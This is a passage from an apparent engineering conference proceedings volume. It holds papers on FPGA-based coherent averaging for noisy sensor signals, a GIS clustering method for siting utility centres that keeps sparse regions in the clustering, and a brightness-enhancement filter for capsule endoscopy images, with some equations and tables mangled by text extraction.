scope includes tuning the performance of attribute selection and classification
techniques by employing more sophisticated features to increase AAR and decrease
MBT to some possible extent.
References
1. Obaidullah, S.M., Das, S.K., Roy, K.: A system for handwritten script identification from
indian document. J. Pattern Recognit. Res. 8(1), 1–12 (2013)
2. Ghosh, D., Dube, T., Shivprasad, S.P.: Script recognition—a review. IEEE Trans. Pattern
Anal. Mach. Intell. 32(12), 2142–2161 (2010)
3. Chaudhuri, B.B., Pal, U.: A complete printed Bangla OCR. Pattern Recogn. 31, 531–549
(1998)
4. Pal, U., Chaudhuri, B.B.: Identification of different script lines from multi-script documents.
Image Vis. Comput. 20(13-14), 945–954 (2002)
5. Hochberg, J., Kelly, P., Thomas, T., Kerns, L.: Automatic script identification from document
images using cluster-based templates. IEEE Trans. Pattern Anal. Mach. Intell. 19, 176–181
(1997)
6. Chaudhury, S., Harit, G., Madnani, S., Shet, R.B.: Identification of scripts of Indian languages
by combining trainable classifiers. In: Proceedings of Indian Conference on Computer Vision,
Graphics and Image Processing, Bangalore, India, Dec-20–22 2000
7. Dhanya, D., Ramakrishnan, A.G., Pati, P.B.: Script identification in printed bilingual
documents. In: Sadhana, vol. 27, part-1, pp. 73–82 (2002)
8. Pati, P.B., Ramakrishnan, A.G.: Word level multi-script identification. Pattern Recogn. Lett.
29(9), 1218–1229 (2008)
9. Obaidullah, S.M., Mondal, A., Das, N., Roy, K.: Script Identification from printed indian
document images and performance evaluation using different classifiers. Appl. Comput. Intell.
Soft Comput, vol. 2014, p. 12. Article ID 896128 (2014). doi:10.1155/2014/896128
10. Roy, K., Banerjee, A., Pal, U.: A system for word-wise handwritten script identification for
indian postal automation. In: Proceedings of IEEE India Annual Conference 2004,
pp. 266-271 (2004)
11. Vajda, S., Roy, K., Pal, U., Chaudhuri, B.B., Belaid, A.: Automation of Indian postal
documents written in Bangla and English. Int. J. Pattern Recognit. Artif. Intell. 23(8), 1599–
1632 (2009)
12. http://www.mathworks.in/help/pdf_doc/images/images_tb.pdf. Accessed 01 Feb 2015
13. Hall, M., Frank, E., Holmes, G., Pfahringer, B., Reutemann, P., Witten, I.H.: The WEKA data
mining software: an update. SIGKDD Explor. 11, 10–18 (2009)
14. http://www.scholarpedia.org/article/Evolution_strategies. Accessed 01 March 2015
15. Goldberg, D.E.: Genetic Algorithms in Search, Optimization and Machine Learning.
Addison-Wesley, Boston (1989)
16. Guetlein, M., Frank, E. Hall, M., Karwath, A.: Large scale attribute selection using wrappers.
In: Proceedings of the IEEE Symposium on Computational Intelligence and Data Mining,
pp. 332–339 (2009)
17. Moraglio, A., Chio, D., Poli, C.R.: Geometric particle swarm optimization. In: Proceedings of
the 10th European Conference on Genetic Programming, Berlin, Heidelberg, pp. 125–136
(2007)
18. Hall, M., Holmes, G.: Benchmarking attribute selection techniques for discrete class data
mining. IEEE Trans. Knowl. Data Eng. 15(6), 1437–1447 (2003)
An FPGA-Based Embedded System
for Real-Time Data Processing
Pradyut Kumar Sanki
Abstract An embedded architecture for high-speed data acquisition and display

system is proposed for continuous data monitoring in real-time. In addition to this, a
coherent averaging block is added as an IP core which average out the random
noise of any signal under process. An analog to digital converter (ADC) AD9265
having maximum sampling speed of 125 MSPS is interfaced with the embedded
system to digitize the signal. The entire embedded system has been implemented on
FPGA using VIRTEX-II PRO device. The experimental results of the proposed
work are flashed on the front panel of the LCD in real-time.

Keywords Coherent averaging Embedded system Field programmable gate

arrays (FPGAs) Random noise
1 Introduction
We live in digital world which continuously drives us to realize every physical

phenomenon in digital form for further processing and display. Data acquisition is
thus the primary requirement for processing data and display the outcome which is
imperative for visualization. The first and foremost thing is that continuously
varying analog signal of importance in the physical domain needs to be sensed,
conditioned, and filtered properly to avoid other concurrent physical variations
which degrade the quality of the signal. Specific sensor is required for converting
the physical quantity to an electrical signal which is prone to get affected by random
noise. To avoid the above, a high-speed data acquisition and display architecture is
proposed. Another important thing is that the proposed architecture is also capable
of collecting and processing the data in higher speed and displaying the result in
P.K. Sanki (&)

Department of Electronics and Electrical Communication Engineering, Indian Institute of
Technology Kharagpur, Kharagpur, India
e-mail: pksanki@iitkgp.ac.in

502 P.K. Sanki
lower speed to visualize the data in the same platform. Continuous interfacing
problems are encountered while high-speed acquisition and low-speed display are
implemented in different platforms. To avoid this, FPGA-based embedded system
has been implemented where the microblaze soft-core processor [1] is playing the
role of a low-speed micro-controller and the ping-pong memory-based coherent
averaging with trigger IP core is reducing the noise by averaging the incoming
high-speed data continuously. This paper presents architecture of an embedded
system with a ping-pong memory-based coherent averaging with trigger IP core
which is doing the job of noise elimination of the repetitive noisy signal and
proposes reconfigurable hardware architecture for portable device realization. The
paper is organized as follows: In Sect. 2, the block level description of the system is
presented; In Sect. 3, the theory of noise elimination by coherent averaging is
briefed; In Sect. 4, ping-pong memory-based coherent averaging with trigger unit
and its working principles along with the total embedded architecture are discussed
in detail; Sect. 5 deals with the IP core generation and embedded system; the
outcome from the experiments for both the hardware simulation and MATLAB
simulation are compared; the hardware synthesis report of the architecture is
compared with other different architectures and they are reported in Sect. 6. Also
the snap-shot of real-time processing of the pressure wave from embedded system
architecture is shown in this section. At last, the concluding remarks are written in
Sect. 7.
2 System Description
Any physical force experienced by piezoelectric transducer (PZT) is converted into

electrical signal. The electrical signal is prone to get affected with unwanted signal
randomly which degrades the signal amplitude. A low noise amplifier (LNA) is thus
used to enhance the amplitude of the signal. The amplified signal embedded with
random noise is observed on Digital Storage Oscilloscope (DSO). There is a pro-
vision to feed the signal directly from external source by means of signal generator
to display the further noise reduced signal waveforms. It is very hard to extract
proper information without noise elimination of the repeated pressure signal cor-
rupted with additive noise.
About 30 dB SNR is achieved due to coherent averaging of 1024 noisy signal
frames. Coherence of the signals is maintained by synchronization of the trigger
signal with the very beginning of the data capture at each frame. The signal data
frames are tightly synchronous with the positive edge of the trigger pulse for
avoiding frame jitter. The samples are read in every frame depending on the clock
frequency provided. Number of samples in each frame is considered to be 1000
which is sufficient to restore the signal. The resolution of the sample selected here is
16-bit [2]. Every current frame is summed up with the past stored frame data in the
memory bank. At the time of first positive edge of the trigger pulse, the first data
frame is directly written in the RAM1. After the next positive edge of the trigger,
An FPGA-Based Embedded System for Real-Time Data Processing 503
Fig. 1 Block diagram of the

proposed embedded system
the second frame data plus the stored frame data from RAM1 is loaded in RAM2.
As soon as this iterative process counts to 1024 iterations, the sum of 1024 data
frames is accumulated in the RAM2. The summed up data frames need to be
divided by 1024 to get the averaged data frame at the output. Two-stage pipelined
adder in Fig. 3b is being used to improve speed. In order to realize the proposed
system into a portable device, the giant size DSO needs to be replaced with a
suitable module which will do digitization of the analog data, averaging coherently,
and display the signal. Along with power supply module, triggered pulse generator
is essential for coherent data capturing. For the digitization of the analog signal a
16-bit, 125 MSPS AD9265 [2] is used. High-speed averaging [3], trigger generator
and LCD MI0283KT [4] interfacing for data visualization is integrated on FPGA.
The block diagram for the above is shown in Fig. 1.
3 Background
During propagation, the signal under measurement gets affected by random noise.
Noise reduction is thus our prime concern to extract relevant information from the
noisy signal. Variance of the random noise embedded with a signal can be reduced and
the signal strength can be preserved by the operation of coherent averaging if the
repetitive signals are synchronous with the beginning of the sampling intervals [5].
Improvements of SNR by 30 dB are achieved after performing the average of
1024 frames coherently which is related to the following equation.
SNRcoherent (dB) = 10 log10 (N) where N is the number of frame.
4 Architecture for Ping-Pong Memory-Based Coherent

Averaging with Trigger Unit
The architecture for ping-pong memory-based coherent averaging with trigger unit
is described as follows.
504 P.K. Sanki
A. Trigger Generator
Variable excitations are coming from the trigger module in ping-pong
memory-based coherent averaging with trigger unit. An up counter of changeable
size is used. It produces variable frequency [3] trigger pulse to excite each frame.
The frequency of the trigger is also a factor for signal visualization in real-time.
Thus, it is adjustable for controlling the speed of data acquisition during processing.
B. Address Generator and Memory
Address generator is a 10-bit up counter locates the memory position for reading the
data from and writing the data into the memory RAM1 and RAM2. Addresses for
the RAMs are with a delay of two clock cycles to accommodate pipelined delay.
The depth and width of the RAMs are 1000 and 26, respectively, for storing the
summed up data frames into it. Both the RAMs are read/write enabled alternatively.
C. Controller
Overall operations of the ping-pong memory-based coherent averaging with trigger
block are executed under the supervision of the controller block. Periodic read/write
select signal (rSel) for read from and write into RAM1 and RAM2 is administered
by the controller and also provides start signal for trigger generator, counters and
address generator. Frame counting is performed by an up counter whose bit width is
dependent upon the desired number of frames. An up counter of 10-bit is used here
for counting 1024 noisy data frames. The controller sends the signal to stop the core
until the output of the counter is reached to 1024. More than 1024 signal frames can
be added only by increasing the number of bit of the frame counter as the archi-
tecture is reconfigurable in nature.
D. Pipelined Adder
The architecture of the ping-pong memory-based coherent averaging with trigger
module is shown in Fig. 2a where pipelined adder is the principal building block. In
comparison to conventional adder, data path delay reduction of about 35 % is
achieved using two-stage 26 bit pipelined adder shown in Fig. 2b.
E. The processing of the entire integrated unit is started with a logic high response
of the reset (rst) signal coming from the controller. All the counters and rSel signal
are initialized with the proper value under the operation of the controller. The
RAM1 is write (wr) enable for the first frame to store 1000 samples. The signal rSel
is set on and off periodically in synchronous with trigger pulse followed by the
capturing the first frame and address generator is started with zero. The RAM1 is
read enable and the second data frame is added with readout data and is stored in
the RAM2 in next edge of the trigger pulse. After the accumulation of 1024 frames,
the iterative steps are stopped. Thus, the sum of 1024 data frames is available in
RAM2. Now the accumulated data are shifted right by 10 bit to get the desired
averaged data_out.
Fig. 2 a Architecture of the ping-pong memory-based coherent averaging with trigger unit,
b 16-bit Pipelined adder
5 IP Core Generation and Embedded System
The architecture of the IP core to the embedded system is shown in Fig. 3. The
coherent averaging with trigger unit is embraced with a FSL wrapper to realize the
IP core. It plays the dual role of noise reduction of the input signal and trigger
generation for the excitation. The total embedded system is implemented on FPGA
using Virtex-II Pro device and the noise reduced signal is displayed on the LCD.
Microblaze [1] is a soft-core processor available in FPGA and integrated with the IP
core to realize the embedded system. Interfacing between microblaze and IP core is
made using unidirectional Fast Simplex Link (FSL) [6] for communication at high
speed. Frame excitation is initiated by the repeated trigger signal coming from the
Fig. 3 Architecture of the IP core for ping-pong memory-based coherent averaging with trigger
unit
506 P.K. Sanki
IP core. The detected signal from the PZT is amplified by the LNA and the
high-speed ADC is used to convert the analog signal into digital format. Now the
core is able to capture the data frame and starts to accumulate it in the memory. FSL
bus contains the averaged data frame after the completion of averaging process.
Microblaze interruption is performed via the interrupt signal by an Interrupt Service
Routine (ISR) to retrieve the data from FSL bus. Then, the averaged data is written
into the register of the LCD module for display on the LCD panel. Communication
between microblaze with the external interfaces like LCD, LEDs, and push buttons
is established via General Purpose Input Output (GPIO) IP core of Xilinx.
6 Results
Proposed embedded architecture is implemented on FPGA using Virtex-II Pro

device. Table 1 summarizes the device utilization along with maximum frequency
for ping-pong memory-based coherent averaging with trigger module after the post
place and route synthesis using 10.1i version of Xilinx ISE tool.
The result of hardware simulation is performed using modelsim simulator and
the result is shown in Fig. 4 for this module where the output of the pipelined adder
is accumulated after the delay of two clock pulses. Using the DSO, Intuilink
software helps to collect a number of 1024 noisy data frames from the PZT sensor
and the data set is used for hardware and software simulation. A noisy pressure
signal frame captured from DSO is shown in Fig. 5a. The difference between
hardware-simulated averaged sample values and the MATLAB-simulated averaged
data samples are negligible. Both the software and hardware simulations are
Table 1 Synthesis report of Proposed module Ping-pong

ping-pong memory-based memory-based coherent
coherent averaging with averaging with trigger
trigger module (device unit
selected: XC2VP-30-7FF896
Max. operating frequency 224.792 MHz
VIRTEX-II PRO)
Resource Available Utilized Utilization
(%)
No. of slices 13,696 190 1
No. of slice flip 27,392 279 1
Flops
No. of 4 input 27,392 273 0
LUTs
No. of bonded 556 314 56
IOBs
Number of 136 4 2
BRAMs
No. of GCLKs 16 1 6
Fig. 4 Implementation results on ModelSim
Fig. 5 a Noisy pressure signal frame captured from DSO. b Averaged data of 1024 signal frames
using MATLAB
performed and both the results and their variations are shown in Fig. 5b, and Fig.6a
and b, respectively. The snap-shots of real-time processing of pressure wave and a
10 MHz sine wave from the hardware implementation of the embedded system are
shown in Fig. 7a and b, respectively. FPGA implementation of zero overhead
averaging architecture by Alexander et al. [7] is capable of doing up to 216 averages
which contains 120 samples with a maximum of 90 MHz sampling frequency.
It is reported that 694 number of Xilinx FPGA slices and 4 FPGA RAM are
utilized to average 512 samples during the simulation using System Generator Tool
[7]. High-speed coherent averaging architecture detailed by Kulkarni et al. [3]
accumulates the incoming data frame in ping-pong manner which requires more
area. Table 2 shows the comparative analysis of the performances considering the
speed and area of the existing architectures.
508 P.K. Sanki
Fig. 6 a Hardware-simulated averaged data of 1024 signal frames. b Difference between Figs. 5b,
and 6a
Fig. 7 a Real-time display snap-shot of pressure wave. b Real-time display snap-shot of sine
wave after averaging
Table 2 Comparison of performance of others work with proposed one

Alexander Kulkarni et al. [3] Proposed
et al. [7]
Platform System Spartan-3E VIRTEX-II PRO
generator tool (XC3S250E-4FT256) (XC2VP-30-7FF896)
Speed 90 MHz 220 MHz 224 MHz
Area (Slices, 694 334 113
BRAM) 4 4 4
7 Conclusions
The architecture for embedded system is proposed in this paper where two RAMs
are used in a ping-pong fashion. The architecture has been simulated and imple-
mented on FPGA using VIRTEX-II PRO device. More than desired frame can be
averaged with variable speed as the platform is reconfigurable in nature. The dif-
ferences between experimental data output of averaging of 1024 noisy frames and
theoretical value of the same are almost null. The display snap-shot of averaged
signal taking from proposed embedded system after processing in real-time also
resembles the simulated data. Any type of repeated noisy signal waveform from any
source can be continuously monitored by the proposed embedded system.
Acknowledgments The author wishes to thank Department of Information Technology, Govt. of

India, New Delhi for their support through project.
References
1. Xilinx Inc.: MicroBlaze Processor Reference Guide (2008)

2. Analog Devices: AD9265—16 bit high speed A/D converter (2010)
3. Kulkarni, O.C., Banerjee, S.: Implementation of high speed coherent averaging block for
portable noninvasive blood glucose measurement system. In: International Conference on
Communication, Computers and Devices (2010)
4. L. Multi-Inno Technology Co.: MI0283KT—LCD module specifications, pp. 1–23 (2008)
5. Papoulis, A.: Probability, Random Variables and Stochastic Processes, 3rd edn. McGraw-Hill
Book Co., New York (1984)
6. Xilinx Inc.: LogiCORE IP Fast Simplex Link (FSL) V20 Bus (v2.11c) (2010)
7. Kalashnikov, A., Ivchenko, V., Challis, R.: VLSI architecture for repetitive waveform
measurement with zero overhead averaging. In: IEEE International Workshop on Intelligent
Signal Processing, pp. 334–339. Sept 2005
Clustering of Noisy Regions (CNR)—A
GIS Anchored Technique for Clustering
on Raster Map
Anirban Chakraborty, J.K. Mandal, Pallavi Roy

and Pratyusha Bhattacharya
Abstract In this proposed work, a GIS anchored system has been approached,
which initially takes as input, a digitized map, generally of a very large region, with
the population of the common mass in different wards/areas fed as associated data
and finally it suggests the most suitable locations for constructing a number of
utility service centers. This target can be achieved by formation of clusters of the
wards, where only the adjacent regions are the part of any particular cluster.
Particularly, for the third world countries like India, not only the heavily populated
wards, but also some small populations such as small slum areas, generally locating
outskirts of the major cities, which could be viewed as noise due to their small
populations, would also have to be considered for the purpose. One such popular
and well-accepted clustering technique handling noise is DBSCAN Ester et al.
(A density-based algorithm for discovering clusters in large spatial databases with
noise, 1996). But, the major demerit of DBSCAN algorithm is that it cannot take as
input, the number of clusters to be generated. This is quiet impractical, as because
the number of centers to be constructed is decided beforehand, by some planning
committee. Moreover, DBSCAN simply omits the noise areas. But, with a motto to
provide equal opportunity for every citizen, care should be taken for all parts of the
population. The proposed technique takes a step forward towards the solution.
A. Chakraborty (&) P. Roy P. Bhattacharya

Department of Computer Science, Barrackpore Rastraguru Surendranath College,
Barrackpore, Kolkata 700 120, W.B, India
e-mail: theanirban@rediffmail.com
P. Roy
e-mail: roypallavi8@gmail.com
P. Bhattacharya
e-mail: pratyusha.bhattacharya13@gmail.com
J.K. Mandal
Department of Computer Science and Engineering, University
of Kalyani, Kalyani, Nadia, W.B, India
e-mail: jkm.cse@gmail.com

512 A. Chakraborty et al.

Keywords GIS Utility service stations Clusters Associated data Digitized

map DBSCAN
1 Introduction
In any developing country, the need for constructing new utility service station is
undoubtedly important. Care should be taken regarding uniform distribution of the
customers served by any utility center, as because if they are located far away from
some of the customers’ residence, then they will not be able or rather interested to
get full opportunity of these centers. The major problem, while tackling, is that
these projects manually arise due to the gigantic population of a country like India
or China. Hence, the job of allocation of customers manually, keeping in mind the
above uniformity of distribution, is quiet a stringent job.
The main objective of the present work is to take as input the number of new
constructions to be established onto a digitized map and to suggest graphically the
most favored locations, keeping the above-mentioned uniformity of distribution of
customers. Let us consider a scenario where the area taken into consideration has an
average ward-wise population of 2000 but a certain region (in a third world country
like India, this is quite common for small slums at outskirts of the cities) has a
scanty population of suppose 100. This type of specific regions will be treated as
noise area by most of the clustering algorithms. One of such very popular clustering
algorithm dealing with noise is DBSCAN [1], which however eliminates these
noise areas, concentrating only onto the core areas. But considering a country like
India, which has a major section of temporary inhabitants in the outskirts of the city,
who keeps coming to the city in search of livelihood; in most of the cases these
people make up the population of the noise areas. Thus by eliminating noise areas
altogether from cluster formation, it is in turn to deprive these people from availing
the facilities of the utility centers. But at the end, they are the citizen of India and
deserve to have the facilities provided by utility service centers. At this point, the
proposed algorithm comes into the picture, where major concentration is given for
prediction of locations on the basis of core populated areas, next the noise areas, if
any, adjacent to the cluster is considered and the predicted location is adjusted by
applying a weightage-shift, judging the population of both core area and the noise
area.
Section 2 of this paper deals with the proposed technique. The implemented
results are given in Sect. 3. Analysis and comparisons are outlined in Sect. 4 and
finally conclusions are drawn in Sect. 5.
Clustering of Noisy Regions (CNR) … 513
2 The Technique
The course of action begins with an input Raster Map, which is digitized
ward/region wise and the population of each ward is imparted as associated data to
it.
On the basis of the objective urged in Sect. 1, the problem can be scrutinized as
clustering of wards, with an intention of satisfying the yardstick that a cluster
should be formed only by the adjacent regions and the total population under heed,
must be split among all the clusters in such a manner that each should be of equal
(approximately) size (in terms of population).
At very beginning, the user has to feed the expected number of clusters n and
based on the population of each region, desired clusters are formed considering two
parameters minpt and t_value (threshold value). Any region is considered to be a
noise, if its population is less than minpt and while expanding a cluster; it is
announced to be complete, when its population is just about to cross t_value.
If k is the entire population considered, then each of n clusters should be of
population k/n. However, as it is not permitted to divide any ward furthermore, so it
is not always possible to reach the exact value k/n and that is why a deviation factor
d comes onto the crease. A cluster is announced to be complete, if its population
lies into the range n/k ± d. That is why, the Threshold t_value is set to n/k + d.
Initially, cluster formation is done considering only the core regions, keeping
aside the noise regions, enabling to target the major amount of population. Two
constraints have considered during clustering, first each cluster is expanded only
with the regions that are density reachable from that cluster, to maintain its com-
pactness; second, the process of cluster formation continues until the total popu-
lation of the cluster attains the range n/k ± d. The centroid of each cluster is pointed
as the desired location.
After completion of cluster formation using only core areas, noise regions are
considered one by one. The Manhattan distance between a noise region’s centroid
and all of its adjacent cluster centroid are calculated. The noise region is merged with
that cluster, for which this distance is minimum. If M is the population of the existing
cluster and m is the population of the noise (i.e., M » m), then the previously
designated location is also adjusted, by shifting it an amount of m/(M + m) towards
the noise region (weightage-shift).
3 Implementation and Results
This section subsumes the implementation results, outputs, and its operations. The
implementation is accomplished using NetBeans (JAVA) [2]. To consummate this
implementation task, only flat file system is chosen as the basis for data storage
instead of any database to increase portability.
Fig. 1 Choosing options
Fig. 2 Creating a new profile
Fig. 3 Opening an existing profile
Figures 1, 2, and 3 demonstrate the task of Creation of new profile or opening

the existing one.
The digitization of the considered raster map is then carried out by simply mouse
clicking/dragging through the border line of the raster map. The blue trailing line
keeps track of the digitized portion, enabling future edition facility Fig. 4. To
accomplish the job of associating data, mouse clicking inside the designated region
is made and through clicking “Enter Data” button, the job is done Fig. 5.
Finally the proposed technique automatically generates the most favorable
locations for construction of utility service stations, after fetching the number of
such stations to be constructed from the user and the locations are represented by
“RED” squares as shown below Fig. 6.
However, if any noise region is there in the map under consideration, then the
procedure works in two steps, as mentioned in Sect. 2. First, clustering is done only
on the basis of core areas, keeping the noise areas aside (gray-colored area is noise).
Next the noise area is incorporated and weightage-shift of designated location is
done along with, as demonstrated in Fig. 7.
Fig. 4 Digitization
Fig. 5 Data association
4 Analysis and Comparison
Ideally it is needed to generate partitions that have compact, well-separated clusters.

On the basis of Compaction and Isolation property of the clusters formed, three
parameters, namely Minimum Total Distance [3], Separated Cluster Criteria [3],
and Object Positioning [3], have been considered, for judging the quality of the
clusters generated. For an efficient clustering, first and third criteria should have to
be minimized, whereas the second one should be maximized. Along with the above
three, another one criterion, named Time Factor, has also been introduced; which
determines how fast a clustering algorithm performs cluster formation. Thus, an
algorithm is announced to be efficient if the time consumption is less.
Based on the above-mentioned four criteria, the proposed algorithm has been
compared with two other popular and widely accepted clustering methods, namely
Fig. 6 Formation of 7 clusters
Fig. 7 Incorporation of noise area
DBSCAN [1] and K-means [4], with formation of 4 clusters taken as case study, as
depicted in Table 1.
It is quiet obvious that the proposed technique performs better in all respect than
K-means and better than DBSCAN [1] also, except for the time factor. This is because
DBSCAN simply ignores noise areas, but the proposed method not only considers
noise, but also adjusts the proposed location after encountering noise regions.
To evaluate the execution speed of the proposed algorithm, K-means [4] method
—one of the popular and fast clustering techniques, has considered for comparison.
The following table (Table 2) and the graph obtained thereafter Fig. 8, shows the
time requirement for clustering (in a system with Dual Core processor and 3 GB
RAM) for varying number of clusters, reflecting the essence of the proposed method.
Table 1 Comparison among DBSCAN, K-means, and CNR clustering (proposed) techniques
Minimum total Separated cluster Object Time factor
distance (less value criterion (more value positioning (less (less time is
is considered is considered value is efficient)
superior) efficient) considered (ms)
superior)
DBSCAN [1] 3664 0.14 4150 175
K-meaans [4] 3511 0.35 4650 256
Proposed 2314 0.37 1719 187
technique
Table 2 Comparison of the techniques based on clustering time

Number of clusters Time taken (ms)
Proposed algorithm (CNR) K-means algorithm [5]
2 186 224
3 186 242
4 187 256
5 187 266
6 188 274
7 189 281
8 189 286
9 189 290
Fig. 8 Graphical
representation of comparison
between CNR and K-means
on clustering time
518
Table 3 Comparison among different clustering techniques

Characteristics Fuzzy C means [6] Equal DBSCAN [1] K-means [4] Hierarchical [7] CNR (proposed)
partitioning
algorithm [2]
Specification Yes (Number of Yes No Yes Yes Yes
of number of cluster can be
clusters specified however
there may be some
virtual clusters)
Distribution of This is distance based Over the entire For each small For each small For each small For each small
population but region areas/wards, areas/wards, areas/wards, areas/wards,
(Fed as non-population-based considered it is population data based population data based population data based population data based
associated soft clustering assumed to be on the latest census on the latest census on the latest census on the latest census
data) algorithm. uniform. report is imparted report is imparted report is imparted report is imparted
Comparison on the basis of compactness and isolation (Case study with 4 clusters)
Minimum 3623 3792 3664 3511 3215 2314
total distance
Separated 0.25 0.10 0.14 0.35 0.36 0.37
cluster
Object 3200 4678 4150 3157 2314 1719
positioning
A. Chakraborty et al.
The following table (Table 3) compares the proposed technique with some other
popular clustering methods, both soft and hard. While evaluating the above men-
tioned factors for various techniques, formation of 4 clusters has taken as case study.
5 Conclusions
In a fast growing economy like India, every year there are numerous numbers of
constructions cropping up and the prime target is to find a suitable location for the
construction. Now for the construction of utility centers like hospital, government
schools, bank, etc., a suitable place is needed such that it can be easily accessed by
the entire population considered. In a country like India, there are a numerous
number of temporary inhabitants dwelling in the outskirts of the suburbs, those who
actually migrate from villages with a wish to seek good fortune by working out a
decent livelihood. These temporary inhabitants are the ones who build up the
population of the noise areas. Being a citizen of India, these people deserve their
fair share of service from the utility service centers, but at the same time core area
forming the major population of a city should be prioritize first. Here the proposed
algorithm comes into the picture. In the earlier days, the placement of utility service
centers was done manually; but as evident, it is quite a grueling process. The
position should be determined in such a way, so that uniformity is maintained and
the present work does just that. It determines the position of the utility center
keeping in mind the population of the specific cluster and also takes into consid-
eration the noise areas. Moreover, the graphical representation increases the read-
ability of the output generated.
Acknowledgments The authors express a deep sense of gratitude to the Department of Computer
Science, Barrackpore Rastraguru Surendranath College, Kolkata-700 120, India and Department
of Computer Science and Engineering, University of Kalyani for providing necessary infrastruc-
tural support for the work and to the UGC for financial support under Minor Research Project
scheme (sanction number F. PSW-180/11-12 ERO, dated 25.01.2012).
References
1. Ester, M., Kriegel, H.-P., Sander, J., Xu, X.: A density-based algorithm for discovering clusters
in large spatial databases with noise. In: Proceedings of the 2nd International Conference on
Knowledge Discovery and Data Mining (KDD-96), Montreal, Canada (1996)
2. Mandal, J.K., Chakraborty, A., Chakrabarti, A.K.: A GIS based approach of clustering for new
facility areas in a digitized map. In: Proceedings of the International Conference on Eco-friendly
Computing and Communication Systems (ICECCS 2012), CCIS 305 ©, pp. 398–405. Springer,
Berlin, 9–11 Aug 2012
3. Raskutti, B., Telstra, C.L.: An evaluation of criteria for measuring the quality of clusters. In:
IJCAI Proceedings of the 16th International Joint Conference on Artificial Intelligence, vol. 2,
pp. 905–910, Morgan Kaufman Publishers Inc., San Francisco (1999)
4. Chakraborty, A., Mandal, J.K., Chandrabanshi, S.B., Sarkar, S.: A GIS anchored system for
selection of utility service stations trough k-means method of clustering. In: Proceedings of the
Second International Conference on Computing and Systems (ICCS-2013), ISBN
978-9-35-134273-1, pp. 244–251. McGraw Hill Education (India) Private Limited, 21–22
September, 2013
5. http://www.zetcode.com/tutorials/javaswingtutorial. Accessed 05 Aug 2014
6. Bezdek, J.C.: Pattern Recognition with Fuzzy Objective Function Algorithms. Plenum Press,
New York (1981)
7. Chakraborty, A., Mandal, J.K., Chandrabanshi, S.B., Sarkar, S.: A GIS anchored system for
selection of utility service stations trough hierarchical clustering. In: Proceedings of the First
International Conference on Computational Intelligence: Modeling, Techniques and
Applications (CIMTA-2013), ISBN 978-93-5126-672-3, Procedia Technology, Elsevier,
27–28 Sept 2013
Performance of Brightness Enhancement
Technique for Narrow-Band
and White-Band Images
Sathi Raju Challa and D.V. Rama Koti Reddy
Abstract Image enhancement technique plays a vital role in image analysis.

White-band images (WBI) and narrow band images (NBI) are the two types of
images that are widely used in capsule endoscopy. It is a general practice to
compress the images and process them at the chip level embedded in the capsule in
order to minimize the power consumption. In the due course, it is often required to
enhance the features of the image so that, most favorable information from the
images can be extracted. Loss of naturalness in the image while processing for
image enhancement is observed. In this paper, a technique called brightness
enhancement followed by color restoration is suggested for images with non-linear
illumination. The technique employs a bright pass filter which acts on reflectance
and luminance forms of image obtained after decomposing of the original image.
The simulation experiment is carried on both white-band images and narrow-band
images.
Keywords Image enhancement Bright pass filter WBI NBI
1 Introduction
Digestive tract-related diseases, such as, bleeding, ulcer, and tumor are quite
common and can be cured in their early stages; otherwise they will deteriorate into
cancer or other fatal diseases [1]. But it is not easy to diagnose these diseases in
their early stage. To detect gastrointestinal (GI) tract diseases, many indirect
technologies, such as, angiography, ultra-sonography, X radiography (including
S.R. Challa (&)

Department of ECE, JNTUK, Kakinada, AP, India
e-mail: sathichalla@gmail.com
D.V. Rama Koti Reddy
Department of Instrument Technology, Andhra University, Visakhapatnam, India

522 S.R. Challa and D.V. Rama Koti Reddy
computer tomography), and scintigraphy, have been developed. However, these

technologies were reported to have low success rate even for bleeding detection [2,
3], or be rarely helpful unless severely active bleeding [4].
Endoscopy is a technique for detecting the GI diseases. GI tract can be easily
recognized and visualized using this method. The technique involves in inserting
the bio-cam that slides through the intestine and takes picture on the run. The device
holds all the equipment that is required for taking the images, illuminating along the
run length and further memorizing before transmitting to the outside world.
A miniaturized camera significantly serves for capturing the images that are illu-
minated using the source of light embedded with it. The images captured are readily
stored in the memory provided. This technique is known as Wireless capsule
endoscopy (WCE). This was introduced during the early days of twentieth century.
A typical WCE system consists of the capsule endoscope (CE), the information
receiving module (IRM), the working station, and the implementation software. The
size of the entire system is so miniaturized that it can be easily taken by the patient
like tablet [6]. The images are compressed before they are transmitted to the IRM.
The IRM is always placed in the close vicinity of the patient.
The latest technique is to capture NBI rather than WBI in order to limit the
spectral bandwidth of the captured image. The WBI uses white light for illumi-
nating the internal part and the corresponding pictures consume large bandwidth of
spectrum to reproduce the image and the respective weight is also enhanced. Power
consumption is proportional to volume of the image to be processed. NBI is a better
technique in order to reduce the volume of the image. Further, the power consumed
is also reduced. But there is a specific need for application of enhancement tech-
nique with which the capability of extracting the information is enhanced.
Image enhancement is a wide spread technology of image processing that has its
applications in many multi disciplinary fields like biomedical, aeronautics, weather
forecasting, radar, navigation, computer vision, etc. Many algorithms such as his-
togram equalization and masking are proposed for image enhancement. Most of the
suggested algorithms are capable of enhancing the details of the image which is
treated as image detail enhancement while resulting in unnatural added features in
terms of confusion among the spectral description.
In this paper, non-linear illumination-based bright pass filter (BPF) [7] is
employed for enhancing both the WBI and NBI images in place of retinex-based
algorithms. In the subsequent sections, a description of bright pass filter is given
followed by implementation and results with respect to application of the technique
on standard image, WBI and later NBI.
2 Bright Pass Filter (BPF)
BPF belongs to the class of filter which restricts the reflectance to the range of (0,
1). The steps involve in image decomposition into reflectance and illuminance
followed by illumination mapping using bi-log transformation. Finally, the
Performance of Brightness Enhancement Technique … 523
Fig. 1 Simulation steps

Input Image
YCbCr
BPF
Adaptive illu-
mination adjust-
ment
Color restoration
Input Image
synthesis of reflectance and mapped illumination is performed. The implementation

of the BPF is well explained for some standard and real-time images in [7].
In order to compensate to the noise adulteration with the original signal, the
modified signal Q (k, l) is mentioned as the mean of the signal Q’(k, l). This is
given as
!
X
i¼lþwin
0
Qðk; lÞ ¼ Q ðk; lÞ=ð2 win þ 1Þ ; ð1Þ
i¼lwin
where win is the size of the window considered, k and l are two neighboring pixels.
The BPF is the weighted average of the neighboring pixels and finally mentioned as
1 X
BPF½Gðx; yÞ ¼ ðQðGðx; yÞ; Gði; jÞ U ðGði; jÞ; Gðx; yÞÞ Gði; jÞÞ;
Wðx; yÞ ði;jÞ2X
ð2Þ
where U (x, y) is the unit step function and W (x, y) is the normalization factor. The
brightness is the product of reflectance and luminance. The reflectance can be
obtained by removing the illumination. As mentioned earlier, this is subjected to

bi-log transformation and finally the enhanced image is obtained by using the
synthesized reflectance and luminance as mentioned below.
